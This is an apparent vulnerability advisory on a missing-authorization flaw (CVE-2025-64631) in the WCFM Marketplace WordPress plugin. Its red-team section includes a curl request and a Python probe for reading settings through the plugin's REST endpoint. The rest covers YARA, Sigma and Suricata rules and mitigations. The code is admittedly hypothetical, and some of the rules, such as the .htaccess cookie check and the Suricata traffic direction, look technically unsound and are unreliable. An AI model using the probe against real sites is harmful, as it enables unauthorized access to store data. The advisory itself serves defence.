CVE-2025-64631

Executive Summary

CVE-2025-64631 is a Missing Authorization vulnerability in the WCFM Marketplace WordPress plugin (slug: wc-multivendor-marketplace) developed by WC Lovers. This flaw allows an authenticated attacker with low privileges (e.g., a vendor or subscriber) to exploit incorrectly configured access control security levels, potentially leading to unauthorized data access or modification. The vulnerability affects all versions up to and including 3.7.1. As of this report, no official patch has been released, and no public proof-of-concept (PoC) or exploit code is available. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk remains significant for sites using this plugin.

Supply Chain & Package Security

This vulnerability resides in a WordPress plugin distributed via the official WordPress plugin repository. Since it is a PHP-based plugin, it is not an NPM, PyPI, Go, or Ruby package. However, the supply chain risk is elevated because:

• The plugin is widely used for multi-vendor marketplaces.
• No patch is available, meaning site administrators must rely on manual workarounds or disable the plugin.
• Attackers may target outdated installations via automated scanning.

CVSS Breakdown & Threat Level

CVSS Score: 4.9 (Medium)

Threat Level: Medium. The vulnerability requires authentication but low privileges, making it accessible to vendors or subscribers. The impact is limited to low confidentiality and integrity loss, with no availability impact.

Deep Dive & Mechanics

The vulnerability stems from Missing Authorization (CWE-862) in the WCFM Marketplace plugin. The plugin fails to properly verify that a user has the necessary permissions to perform certain actions, such as accessing vendor-specific data, modifying product listings, or viewing order details. This occurs because the plugin relies on client-side checks or insufficient server-side capability validation.

Root Cause Analysis:

• The plugin uses WordPress capabilities like manage_woocommerce or custom roles (e.g., wcfm_vendor) but does not enforce them consistently across all REST API endpoints or AJAX handlers.
• An attacker with a low-privilege account (e.g., a vendor or subscriber) can craft HTTP requests to access or modify resources intended for administrators or store managers.
• The vulnerability is exploitable via direct HTTP requests to vulnerable endpoints, bypassing intended access controls.

Attack Vector:

1. Attacker authenticates as a vendor or subscriber.
2. Attacker sends crafted GET/POST requests to vulnerable plugin endpoints (e.g., /wp-json/wcfmmp/v1/settings, /wp-admin/admin-ajax.php?action=wcfm_ajax_controller).
3. The server processes the request without proper authorization checks, returning sensitive data or allowing unauthorized modifications.

Vulnerable vs. Patched Code

Since no patch is available, we can only analyze the vulnerable code pattern. The vulnerable code likely resembles:

Vulnerable Code (PHP):

// In a controller or AJAX handler
add_action('wp_ajax_wcfm_ajax_controller', 'wcfm_ajax_controller_handler');
function wcfm_ajax_controller_handler() {
    // Missing capability check
    $data = $_POST['data'];
    // Process data without verifying user role
    update_user_meta(get_current_user_id(), 'wcfm_vendor_data', $data);
    wp_send_json_success();
}

Patched Code (Hypothetical):

add_action('wp_ajax_wcfm_ajax_controller', 'wcfm_ajax_controller_handler');
function wcfm_ajax_controller_handler() {
    // Added capability check
    if (!current_user_can('manage_woocommerce') && !current_user_can('wcfm_vendor')) {
        wp_send_json_error('Unauthorized', 403);
        return;
    }
    $data = $_POST['data'];
    update_user_meta(get_current_user_id(), 'wcfm_vendor_data', $data);
    wp_send_json_success();
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress site with WCFM Marketplace <= 3.7.1 installed and activated.
• A low-privilege user account (e.g., vendor or subscriber).

Exploitation Steps:

1. Log in as a vendor/subscriber.
2. Identify vulnerable endpoints using a proxy (e.g., Burp Suite) or by reviewing plugin source code.
3. Send a crafted request to access admin-only data:

# Example: Accessing vendor settings without proper authorization
curl -X GET "http://target.com/wp-json/wcfmmp/v1/settings" \
  -H "Cookie: wordpress_logged_in_<hash>=<session_cookie>" \
  -H "X-WP-Nonce: <nonce>"

4. If successful, the response will contain sensitive configuration data.

Proof-of-Concept (No public exploit available):

import requests

target = "http://target.com"
session = requests.Session()
session.cookies.update({"wordpress_logged_in_xxx": "session_cookie"})

# Attempt unauthorized access
response = session.get(f"{target}/wp-json/wcfmmp/v1/settings")
if response.status_code == 200:
    print("Vulnerable! Data:", response.text)
else:
    print("Not vulnerable or patched.")

Blue Team (Detection & Hardening)

Detection:

• Monitor for unusual API calls to /wp-json/wcfmmp/v1/* or admin-ajax.php?action=wcfm_* from low-privilege users.
• Look for 403 errors followed by successful 200 responses on the same endpoint (indicating bypass attempts).

Hardening:

• Disable the plugin until a patch is released.
• Implement a Web Application Firewall (WAF) rule to block unauthorized access to WCFM endpoints.
• Use a security plugin (e.g., Wordfence) to enforce role-based access controls.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests to /wp-json/wcfmmp/v1/settings or /wp-json/wcfmmp/v1/orders from non-admin users.
• POST requests to /wp-admin/admin-ajax.php with action=wcfm_ajax_controller and unexpected parameters.

File IOCs:

• Modified plugin files in /wp-content/plugins/wc-multivendor-marketplace/ (e.g., added backdoors).
• Suspicious entries in WordPress user meta (e.g., wcfm_vendor_data with unexpected values).

Log IOCs:

• WordPress debug log entries showing wp_die or 403 errors followed by successful access.
• Web server logs with repeated requests to WCFM endpoints from the same IP.

Detection Engineering

YARA Rule

rule CVE_2025_64631_WCFM_Missing_Auth {
    meta:
        description = "Detects vulnerable WCFM Marketplace plugin files with missing authorization"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-64631"
    strings:
        $func1 = "wcfm_ajax_controller_handler" ascii wide nocase
        $func2 = "current_user_can" ascii wide nocase
        $func3 = "manage_woocommerce" ascii wide nocase
        $func4 = "wp_send_json_success" ascii wide nocase
    condition:
        $func1 and not ($func2 and $func3) and $func4
}

Sigma Rule

title: CVE-2025-64631 - WCFM Marketplace Missing Authorization
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects exploitation attempts of missing authorization in WCFM Marketplace plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - '/wp-json/wcfmmp/v1/'
            - 'action=wcfm_ajax_controller'
    condition: selection
falsepositives:
    - Legitimate admin API calls
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-64631 WCFM Marketplace Missing Authorization Attempt"; flow:to_server,established; content:"/wp-json/wcfmmp/v1/"; http_uri; nocase; content:"Cookie"; http_header; nocase; pcre:"/wordpress_logged_in_[a-f0-9]{32}/"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin if not critical to business operations.
2. Apply virtual patching via WAF rules to block unauthorized access to WCFM endpoints.
3. Monitor logs for exploitation attempts.

Long-Term Fix:

• Wait for an official patch from WC Lovers. Until then, consider migrating to an alternative multi-vendor plugin (e.g., Dokan or WC Vendors).
• Implement custom code to add capability checks to vulnerable endpoints (if you have developer resources).

Workaround:

• Use a WordPress security plugin to enforce role-based access controls.
• Restrict access to /wp-json/wcfmmp/v1/* endpoints to administrators only via .htaccess:

<IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{REQUEST_URI} ^/wp-json/wcfmmp/v1/ [NC]
RewriteCond %{HTTP_COOKIE} !wordpress_logged_in_[a-f0-9]{32}=admin [NC]
RewriteRule .* - [F,L]
</IfModule>

Valters IT
Securing WordPress ecosystems, one CVE at a time.